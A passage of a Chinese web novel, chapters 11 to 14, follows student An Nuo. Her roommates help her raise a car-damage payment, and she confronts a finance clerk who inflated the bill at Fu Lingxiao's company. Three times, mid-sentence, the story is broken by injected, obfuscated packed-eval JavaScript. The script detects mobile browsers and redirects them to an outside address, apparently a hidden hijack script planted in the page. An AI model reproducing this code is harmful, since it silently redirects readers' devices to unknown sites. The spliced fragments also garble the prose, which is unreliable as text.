“嗯,冰激凌也很爽口。” “快快快,你们快尝尝这个冰粉,里面的小糍粑糯唧唧的,可好吃了。” 七嘴八舌的,几个人兴奋到不能自已。 只有安诺默默地拿出手机看自己的微信零钱。 不多不少,刚刚1000块钱。 嗯,1000块钱,应该够付今天的外卖了吧。 今天的派对是因为诺宝才组织的,况且诺宝点的东西最多,不管怎样,安诺都觉得这钱应该她付。 等大家吃完后,她再一一转给她们。 如是想着。 安诺越想越觉得自己快活不下去了。 还债,养孩子,哪哪都需要钱。最火烧眉头的当属傅凌霄那1万2的巨额赔款。 1万2,这可是她大半年的生活费啊。 她上哪弄去啊? 要不然,把她自己卖了得了:) 11. 第11章 犹犹豫豫的,安诺点开了她爸的微信页面,打字道: 【爸,你有钱吗?】 忽然又觉得不行不行,太直接了,赶紧删掉重新打字道: 【我亲爱的老爸,您在忙吗?】 改完后,“哒哒哒”的又给删了。 太谄媚了太谄媚了,还亲爱的老爸。 呃,想吐。 再后来,安诺的问候语开启了各种版本的角逐。 霸道小姐傲娇版:【喂老头,睡了没有?】 落魄女大学生哭惨版:【呜呜呜,爹啊,江湖救急啊t.t】 甚至还有古装剧版:【咳咳,父皇大人,请问您在吗,女儿有要事求见,还请您看到消息后速速回话。】 可惜弄到最后,安诺还是一条消息都没发出去。 因为根本不是问候语的问题,而是她开不了借钱的口。 最后…… 算了算了,还是明天再说吧。 女孩自暴自弃地收起手机,然后加入到了吃东西的派对里。 结果等到深夜的时候,安诺还是因为债务问题揪心挠肺的。 她睡不着觉。 派对结束后,501四大仙女分工明确地打扫了卫生,而后轮番洗漱,直到12点她们寝室才终于消停下来。 地上5个人你挤着我我挤着你的睡觉。 诺宝宝没有床,所以大家决定一起陪宝宝打地铺。 忙活了一晚上,大家都累了,诺宝和他那三位姨母姐姐刚躺下就睡了过去。 黑暗里,只有安诺盯着漆黑的空气一阵发愁。 要不…明天还是给老爸打通电话吧? 下一秒。 不不不……老爸知道后那且不是老妈也会知道。 一想到黎玫女士用一张面无表情的严肃脸对着她一通逼问的情景,安诺不禁身子打了个寒颤。 咦……害怕害怕。 …… 第二天早上,安诺是被一通电话吵醒的。 许晓筱几人还在睡。 安诺第一个睁眼,睡眼迷蒙的。耳边“叮铃铃”的手机铃声一直在震动。 怕吵着大家,她逼着自己坐起身上,而后拿着手机去了阳台。 阳台上,阳光从窗户偷跑进来,光线明亮。 “喂?”女孩迷迷胧胧地接通了电话。 没睡醒的缘故声音有气无力的,眼帘也是有一下没一下地往下搭着。 等听完电话那头的人说完话时,安诺忽然不迷糊了,一声惊讶声: “什么,1.5万!?” 声音有些大,诺宝和许晓筱被吵醒了,晕乎乎地探脑袋朝安诺看过来。 再后来,不知道电话里的人又说了什么,安诺手指攥紧地硬撑在那里,等那人彻底把话说完时,她挂断电话愤愤地骂了一句: “好你个傅凌霄,竟然坐地起价。” …… 吃早饭时,许晓筱挨着安诺坐。 暑假期间,学校食堂只开了一家早餐店。 他们没得选,每天都在这家包子店吃早餐。 张雨桐和林倩倩一个要考公一个要考研,所以这次暑假没回家,而许晓筱纯粹就是不想回家。 觉得待在寝室里没人管,自在又好玩。 早餐上齐全时,对面张雨桐和林倩倩因为睡觉的事情还在争吵。 张雨桐:“太无语了,你昨晚抢我被子你知不知道?” 林倩倩:“你还好意思说我,你昨晚还踢了我三次呢。” “有吗?” “有啊!” 这对欢喜冤家吵了三年还没吵够。安诺和许晓筱早就习惯了。 任由两人继续吵着,安诺给坐她旁边的诺宝夹菜,许晓筱却一点一点地靠近她,小声询问道: “刚才你在电话里说的1万5是咋回事啊?” 当时张雨桐和林倩倩还没睡醒,许晓筱不确定事情的严重性,更不确定这件事情能不能往外说。 所以她尽力压低声音,不让她们听见。 安诺愣了一下,没想到许晓晓竟然会问她这件事情。 惊讶完,她扭头看许晓筱,特轻快道:“没什么事情啊。” 她不想因为自己的事情麻烦大家。 回答完,安诺也不想就着这个话题继续和许晓晓掰扯下去,于是她回头,把注意力重新转向了诺宝。 今天小家伙不知道是没睡好还是起得太早了,吃饭心不在焉的。 “小鬼,好好吃饭。”她叮嘱人。 语气很是严厉,听着还真有几分妈妈训斥不听话儿子的气势。 依诺宝的性格,换做是之前定会撅头撅脑的顶撞安诺一番,今日倒是出乎意料的反常。 “好的。”小家伙乖巧道。 说完还特认真地扒拉两口米饭给安诺看。 安诺眉梢一挑,眼里全是难以置信,“今天怎么这么听话?” 诺宝立马答话:“有吗?” 甚至王婆卖瓜自卖自夸起来:“我一直都是听话的乖宝宝呀。” 与其说是自夸,不如说是在给安诺洗脑。 安诺不想说话,只想笑。 “以后我都会好好地听你话的。”小家伙再一次认真承诺道。 至于为什么要这么做? 得从半个小时前安诺脱口骂出的那句“好你个傅凌霄竟然坐地起价”说起。 当时诺宝一下就没了起床的困意,汗流浃背了。 他属实没想到,自己妈咪和爸比居然有这么大的过节。 当时震惊完以后,小家伙的第一反应是从今以后他得听话一点,乖巧一点,讨妈咪开心一点才行。 谁让他爸是哄老婆不上道的傅凌霄呢T.T 说起他爸,诺宝更是头疼得很,立马对安诺再次了表忠心道: “真的,我真的会好好听话的。” 那说话的语气,认真极了。 安诺卷曲的睫毛扑闪好几下,挺懵的。 “知,知道了。”她说。 此时,安诺不知道的是饭桌子上还有一个人需要她哄。 在她拾起汤勺准备继续喝粥时,坐对面的林倩倩和张雨桐不知道什么时候停止吵架了。 眼下,两人正疯狂地给她使眼色。 安诺喝粥的姿势一顿,挺疑惑的,直接吐字道:“啥?” 张雨桐和林倩倩两眼一闭,一副恨铁不成钢的表情。 但两人还是不出声,仍旧一个劲儿地冲她使眼色。 两秒后,安诺这才后知后觉地顺着两人的视线往许晓筱看去。 许晓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183751|165416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筱正低头啃着馒头,面色平静,晃眼一看并没什么异样。 但她是许晓筱,饭桌子上最不可能安静的一个人。 平日里,哪次不是她先挑头说班里的各种八卦。 这回倒好,脱离世俗了? 不八卦了? “你咋啦晓筱?”安诺拿胳膊肘蹭了许晓筱一下。 许晓筱回她:“你别和我说话。” 安诺:!? 许晓筱不是一个爱生气的人,除非是有人真做了让她伤心难过的事情。 可…… 安诺着实想不到自己做了什么让人这么伤心伤肝的事情。 “怎么了?不高兴?”她选择再次询问许晓筱道。 声音放柔了很多。 她是真心想和许晓筱解开误会。 对面张雨桐和林倩倩不敢轻易出声。 记忆里,许晓筱和安诺是她们寝室玩得最好的,几乎无话不谈。 这次还是她们第一次看见许晓筱冲安诺发这么大的火。 至于诺宝,肯定是无条件向着安诺的。 “晓筱姐姐,你别生气啦。”小家伙着急道,“我替我妈咪…” “不是,我替我姐姐向你道歉。” 把小家伙急得,差点把自己和安诺的关系都说漏嘴了。 许晓筱也不想一直生闷气下去,放下手里的馒头,转身问安诺: “你到底有没有把我们当成你的好朋友?” 安诺毫不犹豫的:“肯定啊。” 许晓晓:“既然当我们是好朋友,那你为什么遇到事情了还瞒着我们。” 安诺:“啊!?” 她不知道许晓筱在说哪件事情。 许晓筱“哼”笑一声,笑完转动身子,直到整个人彻底面向安诺。 “你少装蒜了。你是谁我还不知道啊。你就是你们家的小公主,咱们寝室就属你零花钱最多了。我每月2000,雨桐每月1600,倩倩每月1400,而你,每个月2500。就这样你还为钱发愁。这说明什么,说明你现在肯定是遇到什么事情了。” “电话里的1万5,是你欠别人的吧。” 一长串话说下来,许晓筱气儿都不带喘一下的。 看来是真给气着了。 安诺咽了咽嗓子。 不是被许晓筱生气的气焰吓着了,而是第一次觉得: 真是没想到啊,原来许晓筱还有这么聪明的时候。 这边许晓筱还瞪大着眼睛看着她。 在等她的回话。 安诺很快打住自己的惊讶,无奈地努了努嘴角后,没法了,她只好把自己和傅凌霄的事情一五一十地交代出来。 听完所有后的许晓筱更是气不打一起来:“他们怎么这样啊,不是说好的1万2吗?” 张雨桐:“对呀,这不是坑人吗?” 林倩倩:“那咋办,真的赔1万5啊?” 而此时,在没人注意的角落里,诺宝宝满头大汗地坐着。 还悄悄地把头低了低,脖子也不停地往下缩着,就差找个地方把自己埋起来了。 本来他还幻想着找机会让安诺和傅凌霄见一面,然后一家团团圆圆地开启美好新生活。 现在倒好,他那眼瞎的爸比怎么整出这么多幺蛾子啊。 12. 第12章 安诺要赔偿傅凌霄1万5的赔偿金。 为了帮安诺,最后许晓筱几人决定众筹。 许晓筱自然是带头的那个人,第一个开口道:“这样吧,我借你钱。” 安诺心里是感动的,但忍不住惊讶道:“你!有钱?” 许晓筱:“我确实没钱,但我哥有钱啊。” 紧接着张雨桐也举手发言道:“还有我,我爸有钱,所以我也能捐点。” 林倩倩也跟着凑热闹:“我爸妈没钱,但我自己存了点。” 以上三个人的发言,安诺听着心里暖暖的,而她万万没想到的是接下来还有一名小选手上场。 “我也有钱。”一道无比傲娇的小孩声音。 说话人除了诺宝还能是谁。 安诺扭头看过去,“你?” 501其余三仙女脸上的惊讶不比安诺少。三个人有瞪眼睛的,有抻脖子的,还有嘴巴张成“啊”音型的。 众人注视下,诺宝:“诺。” 一张黑卡被他高高举起。 从他的小青蛙书包里面翻找出来的。 501四大仙女:不是吧! 卡片上面印着“####银行”,甚至卡号信息都很齐全。 安诺和许晓筱几人不傻,没吃过猪扒她们还没见过猪肉吗。 这可是真真有钱人才享有特权的黑卡啊。 记得电视剧里那些西装革履的霸总们每次付钱时用的就是这种卡。 但…… 诺宝忽然想起一件事情。 “但我不知道密码是多少。” 安诺:“……” 其余三人也:“……” 安静中,小家伙脑瓜子一转,又惊呼道:“我手机里面还有钱!” 一听,四仙女黯然失色的眼眸子忽地一下又亮了。 只见小家伙信誓旦旦地从书包里翻出一部手机。 等不及了,四个人四个脑袋齐刷刷地凑过去,都想看看手机里面到底有多少钱。 结果小家伙拿着手机埋头捣腾好几下后,忽地抬头尴尬道: “呵呵,开不了机,好像是坏了。” 安诺:“……” 就,她能不能打小孩啊? …… 之后,不管诺宝说什么安诺都不信了。 早饭后,四大仙女带着小窝瓜宝宝回了寝室。 一到寝室,许晓筱三个人就忙着帮安诺到处筹钱。 每个人都各显神通地四处打电话到处发微信张罗着。 安诺坐在书桌前,不敢给爸妈说这件事情。 她爸还好,主要是母上大人教训起人来,啧啧,那叫一个恐怖。 光是想想安诺都觉得后背一阵发凉。等她低头再看见自己仅剩200块钱的微信零钱通时,咦… 心都凉了一半截。 昨晚开完派对后,她第一时间就把钱转给了许晓筱张雨桐和林倩倩三人。 她们每人花了多少,她就转多少过去。 原本三人不准备收她的红包的,说是就当作是欢迎诺宝暂住她们寝室的礼物。但安诺不喜欢欠别人人情,所以她挨个抢手机替人收下了红包。 如此一来,她的1000块钱最后变成了200块。 平时她都是要到月底才会没钱的,这次月中就口袋空空了。 天呐。 穷啊,好穷啊。 这是读大学以来安诺第一次觉得自己好穷。 …… 经过一个上午,许晓筱张雨桐还有林倩倩三个人东拼西凑的,终于替安诺借到了1万多。 安诺自己也找朋友借了3000块钱,凑一块,刚好1万5。 这让安诺终于松了一口气,许晓筱却看着安诺神色焦作的样子欲言又止的。 两人都各自坐在自己书桌前。 她坐那头,安诺坐这头,隔着两米远的距离面对面。 “怎么了?”安诺问她。 许晓筱的表情有些复杂:“你真准备赔1万5啊?” 话里话外都有替安诺不值的意思。 安诺也不想啊,那可是1万5!对她们四个大学生而言算得上是一笔巨款了。 “没办法,确实是我不小心把人家车子刮坏了。”安诺无奈地回答。 许晓筱还是一副打抱不平的样子,“你不是说刚开始有个助理给你说只赔1万2吗?” 安诺呐呐的:“是这样没错,但后来有个财务给我打电话说要1万5。” “财务处?” “嗯。” 说到财务处,许晓筱又有话要说了,人拖着椅子一下坐到了安诺面前,语重心长道: “我给你讲,财务处最知道怎么薅钱了。” 安诺:“啊?” 张雨桐他们在旁边听着也挺摸不着头脑的。 皆是满眼的疑惑。 由此许晓筱便开启了她的小道新闻科普之旅: “我给你们讲,我哥就是干财务的,我哥自然是很正直的,很多财务自然也是很有职业操守的,但是…” 一个重音停顿。 安诺歪头:“但是?” “但是在家里的时候,我经常听见我哥说他们办公室有人搞小动作,就每次出入账的时候,总有那么几个鬼迷心窍的人想方设法地为自己捞好处。” 说着许晓筱深恶痛绝地捏紧拳头,还给安诺递眼神下定论道:“所以你的事情蹊跷得很。” 听完,安诺似懂非懂的: “所以你的意思是…这件事情和傅凌霄没关系,很有可能是那个财务在捣鬼!” 早上她接到电话的时候那个财务一口咬定要1万5,当时怒火攻心的安诺以为是傅凌霄给的指示。 她觉得那人毕竟就是个小小的财务而已,应该没这么大的胆子干这种事情。 于是一口大锅扣在了傅凌霄的身上。 如此想来,她还错怪他了。 理清楚一切后,寝室里发生了一件大事情,那就是许晓筱拿着手机破口大骂。 “煞笔吧你。”许大小姐骂起人来手到擒来。 安诺在旁边听着都心肝发抖。 事实证明这种事情确实就该让许晓筱来做。 本来她想自己打电话过问那个财务的,但许晓筱非不让她打,说她战斗力太弱,容易被欺负。 之前她不信,现在信了。 这边许晓筱还在和人对骂,安诺下意识地捂住诺宝的耳朵。 “你有种,现在就把收据单拍照发过来啊。” “下午发!凭什么下午再发?是因为现在要赶着去伪造对吧?” “这样修理费那样服务费的,还有啥啥贴膜费。你少给我扯这些乱七八糟的东西。” “我就问你,你们总裁知不知道这件事情?” “总裁出差了!行,那交代你处理这件事情的总裁助理呢,知道1万2莫名其妙变成1万5的事吗?” “呵呵,总裁助理也出差了,咋这么巧呢?” “我说话注意点!确实确实,我确实要说话注意点。因为和你说话简直是对牛弹琴。” “行了行了,电话里和你说不明白,您放心,下午我和我朋友一定会准时到公司拜访您的。” 说完最后一句话,许晓筱“啪”地挂了电话。 看得安诺一行人目瞪口呆。 张雨桐默默地竖起大拇指。 林倩倩用手扶眼眶,以便自己能够更清楚地看见圣斗士是如何战斗的。 至于安诺,若不是要给诺宝捂耳朵,她都想给许晓筱拍手鼓掌了。 “支支吾吾的,肯定有鬼。”许晓筱还在骂骂咧咧,看来气还没消透。 “走,我们去找她。” 就这么突然的,圣斗士许晓筱拉着安诺就要往外走。 “欸欸,我还没换衣服呢。”安诺叫唤着。 许晓筱急吼吼地敷衍人:“哎呀你就穿身上这身衣服吧,好看好看,好看得很。” 衣服问题解决了,安诺还有一事儿挺担心的。 “那诺宝呢,我走了诺宝怎么办?” 许晓筱:“不是有雨桐和倩倩在吗。” 简短的一段对话结束,“碰”的一声响,寝室门被关上了。 作为两人谈话的一部分,诺宝根本来不及插话,只能眼睁睁地看着自己的妈咪被许晓筱就那样风风火火地拉着,最后弃他而去。 …… 去的路上,安诺和许晓筱打的是滴滴车。 许晓筱恨不得立马冲到那财务面前和人对簿公堂。 那财务也是个女生,尖声细语的,口齿伶俐得很。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183752|165416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就这么一个口齿伶俐的人,被许晓筱一顿发问后话都说不利索了。 由此说来,那只有一种可能。 那女孩心里有鬼。 安诺希望许晓筱到公司以后还能有在宿舍里的那股冲劲。 这样说不定到时候一番较量后,她真的能省3000块钱。 这边她正美美地想着,谁知许晓筱一下车就漏气儿了。 “傅氏!商业!集团!”许大美女十分惊讶地念出面前大楼的公司logo。 白金色的logo屹立在大楼最高层,异常的醒目。 安诺很是不理解,“对啊,就是傅氏商业集团啊,咋啦?有什么问题吗?” 许晓筱脚下踉跄了一下,重新站稳时,脸上苦哈哈的:“我就说嘛,难怪听你说傅氏集团的时候觉得那么熟悉呢,原来是这个傅氏集团啊!” 安诺觉得许晓筱多少有些莫名其妙了,“海城除了这个傅氏集团,难道还有别的傅氏集团吗?” 那确实是。 许晓筱尴尬地抿了抿嘴角。整个人一改刚才的战斗劲,难为情极了。 想了想后,她厚着脸皮请求道: “那个安诺宝宝,要不,要不你自己进去找那人吧。” 安诺:…!!! 直接惊了。 估计是怕安诺生气,许晓筱又提出一个附加条件道: “这样,早上我不是借了你5000块吗,现在我向你承诺,我,许晓筱自愿单方面再借你5000块钱。” 就这么一本正经的把话说完后,许晓筱一溜烟就跑了。 安诺:…!!! 更惊了。 她直愣愣地站在原地,眼睛眨巴眨巴着,这叫什么事儿啊? 反应过来时,她冲人大喊道:“你跑啥啊?” 远处,一道遥远的声音回她:“我哥在傅氏上班。” 这回安诺没再多说什么了,瘪起的嘴角写着两个大大的英文单词: OK,fine。 …… 许晓筱跑后,毫无意外的安诺只能独自一个人去财务处找人。 加上上次面试,今天是安诺第二次进傅氏公司大楼。 现在是下午2点,正好是大家午休结束的时候。 公司一楼大厅的尽头,几堆人围在不同的电梯外面,都在等着坐电梯。 安诺觉得这公司里的人简直是奇怪得很,明明最里面的那台电梯一直空着,怎么没人去坐呢? 于是,她成了唯一一个朝着那台电梯走去人。 身后有人不可思议地看她,还有人议论纷纷起来。 安诺回头看了一眼,觉得那些人真的很莫名其妙。 难不成这电梯里有老虎,会咬人? 她甚是不解地腹诽。 等真的走到电梯面前时,这时安诺才发现… 嗯,确实有老虎:) 她也彻底明白过来,为什么那些人宁愿多等一会儿也不愿意坐这台电梯。 因为此时此刻里面站着一个人,而这人的不是别人,是傅凌霄。 整个傅氏集团的话事人,掌权者。 电梯显示的是上行,意思是傅凌霄从地下车库上来的。 为什么那些职员会如此精准地知道这个时候傅凌霄会坐这台电梯上来呢? 大概是在公司呆久了,也就了熟于心了吧。 但安诺不知道啊—— 电梯门打开的一刻,傅凌霄轻拧眉梢,眼里划过一丝诧异。 没人知道他是在惊讶电梯外面有人,还是在惊讶电梯外面站着的竟然是安诺? “呵呵。” 安诺无措得只能尴尬地笑笑。 说实话,她挺怵傅凌霄的。 一方面是因为昨天她刮坏了他的车子,另一方面是,她就是怵他。 傅凌霄这样的男人,有颜有钱,还有权。 更重要的是,何时何地都一副居高临下的寡淡模样。 尤其是那双乌黑狭长的眸子,厌世又冰冷。 稍稍回神一点后,安诺急忙道: “抱歉啊,失礼了失礼了,我这就,这就重新换一台电梯。” 说着她就准备离开。可电梯里是时候的传来一道清冽的应许声。 “上来吧。”傅凌霄说。 13. 第13章 安诺愣了一下。 但“盛情”难却,她只好走进电梯。 其实最主要的原因是她胆儿小,不敢违抗傅凌霄的意思。 电梯里空间逼仄,傅凌霄站在前面,安诺故意躲到了最后面去。 可她还是感觉尴尬,拘谨,不自在。 甚至呼气都收着,不敢用一点力气。 傅凌霄截然相反,永远神色自若,也永远目无一切。 他就那么单手插兜地站着,身形挺拔,侧脸泛冷泛白。 让人不敢轻易靠近。 所以自从安诺进电梯后,两人再没有任何言语交流,更没有眼神接触。 童话里王子对灰姑娘一眼万年一见钟情的烂俗剧情,也仅存在于童话故事里而已。 至于为什么傅凌霄会同意安诺一同乘坐电梯。 安诺自己也想不明白。 吃错药了?还是中午没睡醒? 又或者是上位者临时起意的大发慈悲? 她只能想到这么多。 最后算了算了,大佬的世界她不懂,也不想懂。 此时此刻她只希望电梯赶紧到,因为她真的不想再和傅凌霄待一起了。 空气稀薄的环境里,女孩觉得浑身上下像是有无数只蚂蚁在爬似的心情煎熬着。 其实,电梯里还有一个人。 是个新面孔,五十多岁的样子,眼角有明显的皱纹,两鬓还有些许白头发。比起傅凌霄位高权重的凛冽孤傲,这人给人的感觉是老成稳重的。 莫名的,安诺从这人身上看出了“爸爸”的气质。 但很显然,这人并不是傅凌霄的父亲。他和傅凌霄一样,西装笔挺,一身正装,手上还提着一个公文包。 不难猜出,这人应该是傅凌霄的助理,而且是资历最深能力最好的那一个,也是最受傅凌霄信赖的那一个。 可这如果是最得力的助手,那上次打电话的女人算什么? 记得那人说她也是傅凌霄的助理来着。 这么想来,傅凌霄的助理可真多啊。 安诺忍不住偷偷感叹一句。 感叹完,她收回一直打量人的视线,不料刚一回头,便撞上了那道黑冷的目光。 是傅凌霄。 男人微微侧着身子,目光自上而下地落在她身上,整个人神色淡淡的,眸色也淡淡的。 带着一股莫名的压迫感。 看得安诺头皮发紧。 “干,干嘛!?”她磕磕巴巴地自证清白道,“是你让我上来的,可不是,不是我要和你坐一台电梯的啊。” 证明清白的同时,控诉意味也十分的明显。 对此,傅凌霄冷冷地只说了三个字:“到了你。” 安诺眼神疑惑,到了什么?什么到了? 两人的交流根本不在一个频道上。 大概过了两秒,安诺这才顿然反应过来。 她朝着电梯门外就是一个猛冲,期间还不小心撞到了傅凌霄的手臂,可惜… 电梯门还是关上了。 安诺:…… 默默地按下了“9楼”的电梯键。 原本她该在8楼下的,现在只能在9楼下了。 按完电梯,安诺十分不好意思地回头,最先入目的不是傅凌霄,而是傅凌霄的助理。 因为助理大叔的脸上总是挂着一抹寓意不明的笑。 那抹笑并不明显。 他们这些西装革履的社会精英们仿佛受过严格训练一样,每次微笑时,颔首,抿唇,唇梢微微扬起的弧度像是被机器精准把控过一样,永远那么的自然且得体。 这一切落在安诺眼里,无论助理大叔笑得多么的收敛多么的克制,她还是能注意到。 他就是在笑话她。 女孩如此认定道。 紧跟着,一抹热流漫布上来。 脸和脖子瞬间红温了。 庆幸的是,“叮咚”一声响,9楼到了。 安诺得救似地逃出电梯。 出电梯时,余光偷偷瞄看了一眼傅凌霄。 电梯门缓缓关上,傅凌霄自始至终都一副气定神闲的模样。 仿佛没有任何人任何事可以轻易影响到他的心绪。 真是厉害。 安诺挺佩服傅凌霄这一点的。 从小到大,她就没见过情绪这么稳定的人。 不过… 情绪稳定好是好,就是…嘶~太冷了。 冷得安诺觉得周遭的空气都凉飕了几分。 而后她自己环抱着自己离开。 …… 从9楼重新坐电梯回到8楼时,安诺捂了捂自己的脸颊,还是那么多的滚烫。 电梯里的事情,她每每回想起来都觉得丢人得很。 为此,她特意跑去厕所洗了一通冷水脸。 果然洗完脸后,整个人都神清气爽不少。 出洗手间的空儿,手机“叮咚”一声响,来信息了。 是许晓筱,人发微信说:【战神出马,杀敌三千,安诺出马,杀敌九千。】 安诺面无表情地看完信息,然后面无表情地打字回人道:【许晓筱更是不得了,人到半路就逃跑。】 而后,她又冲着手机愤愤地骂了一句:“叛徒。” 再后面,她大步流星地往财务部走去。 此时此刻,小姑娘的眼里只有一个目标,那便是拿回属于她的公平公正,和公道! 一进财务处,里面空荡荡的,只有一个人。 没等安诺开口,那人倒是先问起安诺来:“请问你找谁?” 安诺:“我找一位姓林的小姐。” 那人:“我就是。” 一听,安诺眉头都挑起来了几分。 她再次朝四周环看了一圈,这回她可算是明白过来了,这人怕不是知道她今天下午要找来,所以提前把其他人都支开了吧。 “我来和你聊聊那1万5赔偿的事情。” 安诺没和人绕弯子,走到那人工位前直截了当道。 虽然许晓筱总说她不会吵架,但安诺其实只是不喜欢说脏话而已。真到了为自己据理力争的时候,她可从没掉过链子。 “1万5 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183753|165416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是1万5。” 工位上的女人开口回答,语气很是强硬,跟在电话里一模一样,人长得也和她的声音一样,挺刻薄的。 齐耳短发,瘦削的脸颊,薄薄的唇,是个厉害角色。 “喏,这是发票。”女人又发话说。 说着从抽屉里直接甩出两张发票过来。 一般人见着这架势估计早就招架不住了,安诺却不惯着她,厉声质问人:“早上为什么拿不出来?” 此话一出,早上许晓筱打电话时遇到的剧情立马在安诺身上重演了一遍。 服务费,人工费,贴膜费,女人扒着发票扯着嗓子地说给安诺听,但就是不解释为什么她早上拿不出发票。 估计是以为安诺就一20岁小姑娘,忽悠忽悠就过去了。 再则,要不是早上许晓筱在电话那么闹上一出,这女人恐怕连假发票都难得捣腾。 至于为什么安诺认定发票是假的,因为这女人这一开始就谎话连天。 电话里,她说傅凌霄出差了,可刚才电梯里的人不是傅凌霄是谁? 真是蠢到极点。 蠢就算了,还挺胆大包天的。 由此可见,这女人就是个老油条子。 欺负他们这些普通人没背景没靠山,所以想怎么敲诈就怎么敲诈。 算了,安诺难得和她扯了。 “我去找个管事的,跟你说不清楚。” 说完,她转身就准备走人。 哪想女人冲她放话道:“我就是管事的。” 安诺有些不敢相信地回头。 这才发现,原来这女人是财务部组长啊。 工位上贴着她的职位牌子。 之前安诺一直没注意到。 组长一个,在这职员本就不多的财务处确实是个不小的官职了。 难怪这么作威作福。 不过… “不就是一个财务处组长吗,还能一手遮天了不成?” 安诺不屑地说道,话完扭头走了。 身后的女人是什么表情她不知道,也不想知道。但女人似乎挺淡定的,没再说什么言词激烈的话反击她。 估计是没把安诺的话放在心上。觉得就一小丫头片子,难不成还能闹翻天? …… 能不能闹翻天安诺不知道,但今天她就是要闹一闹。 之前她是为了她那3000块钱来公司的,现在,纯粹是看那女人不顺眼。 这种唯利是图的奸诈小人,就不该留在财务组长这种岗位上继续害人。 大概是初生牛犊不怕虎吧。 安诺直接坐电梯来到了16楼。 16楼,傅氏集团最顶楼。 如她刚才跟那女人说的一样,她要找个管事的。 半个小时候前,和傅凌霄一同坐电梯的时候,电梯上面一排排的按键按钮除了她按红的“8”号和“9”号键以外,剩下的便是“16”号。 不难猜出,傅凌霄的办公室就在16楼。 是的,她要去找这整个集团最管事的人-----傅凌霄。 14. 第14章 16楼,是和其他楼层完全不一样的存在。 这里宽敞,透亮,也寂静无比。 其他楼层或多或少都能听到职员们的交谈声。有谈论工作的,也有摸鱼闲聊的。 总之,无论如何都会有源源不断的声响发出。 而这里,静得仿佛连根针掉在地上都能听见。 过道的地板砖还反射着暗灰色的光芒。 走在上面,安诺总有一种自己到了阴曹地府的错觉。 越往里走,她越觉得空气阴森森的。 等再走近一些后,她终于看到了一个人影。 那是一个稍显年轻的小姐姐,怀里抱着一打资料,似乎准备去某个地方。 无意看见安诺时,小姐姐明显慌了一下。 估计是没见过安诺,觉得安诺陌生得很,又或者是平时能来这层楼的人少之又少。 安诺顾不了这么多了,上去礼貌地和人打招呼道:“你好。” 可小姐姐一点也不热情,直接挪步挡在了她的面前,十分公事公办地说: “小姐您好,这里是总裁办公的地方,您不可以在这里逗玩。” 逗,玩?! 安诺不解地低头看看自己。 今天她穿了一身浅粉色的连衣裙,裙摆下垂到踝关节,再配上脚底白亮的小皮鞋,整个人看起来端庄又轻盈漂亮。 再怎么说,她这身穿着打扮也不像游手好闲的混子模样吧。 “不是,我有事找傅凌霄。”她认真给人解释说。 一着急,直接把傅凌霄大名叫了出来,把小姐姐都惊到了。 在这公司里,还没人敢这么称呼傅凌霄。 等安诺反应过来时,其实她也挺慌的。 “那个,就。”说话都磕巴了,“我找你们总裁,对,你们总裁。” 为了确保自己这次没喊错,最后一句话她特意重复了两遍。 事实是,毫无用处。 这反倒让服务台小姐姐认识到其实她和傅凌霄根本就不熟,那脸色立马变得更加严肃起来。 “小姐,见总裁的话需要提前一天预约。”人发出最后警告道。 安诺听着就脑瓜子痛,甚至脑袋中冒出了一个十分莽撞的念头。 要不…直接冲进去? 正想着,耳边突然传来一道天籁之声。 “怎么了?” 安诺穆然抬头,一看,是那个大叔----傅凌霄的特助。 刚才在电梯里面安诺见过的。 小姐姐见到特助大叔后,态度跟着软了不少。 “就这个小姐非要见总裁,我正给她说要预约来着。” 小姐姐是个实诚孩子,告状的时候并没有添油加醋什么的。 对此安诺无话可说,老实点头道:“她说的没错。” 特助大叔不禁笑了下。 笑得还是那么的沉稳内敛。 和在电梯里面一样,颔首,淡淡地抿嘴角。 同样的笑,表达的意思却不同。 电梯里,大叔笑她做事迷糊,这次估计是笑话她虽然莽莽撞撞的,但承认错误倒挺快的。 安诺老老实实地站着,再一次从大叔身上感受到了一股“爸爸”的气质。 那是一种莫名的安全感。 呆呆的,她盯着大叔看了好一会儿。 真是神奇。 小姑娘在心里偷偷嘀咕着。 “想见凌霄?”特助大叔打断她。 安诺:“啊?!” 迷糊发懵的语气。 反应一秒后,“啊。” 这次言语肯定。 大叔并没有多问安诺为什么要见傅凌霄,直接吩咐抱资料的小姐姐说: “下去吧。” 而后便领着安诺往傅凌霄的办公室走去。 安诺眼睫轻颤了几下。 这完全是出乎意料之外的事情,太顺利了,反倒让她心里有些惶恐不安起来。 “我真的不用预约吗?”她十分担心地问大叔。 后者却十分肯定道:“不用。” “哦。”安诺点点头,可心里还是有些放心不下。 她瞥动乌溜溜的眼眸子,小眼神偷偷看了好几眼身旁的大叔。 这大叔好像很有把握的样子。 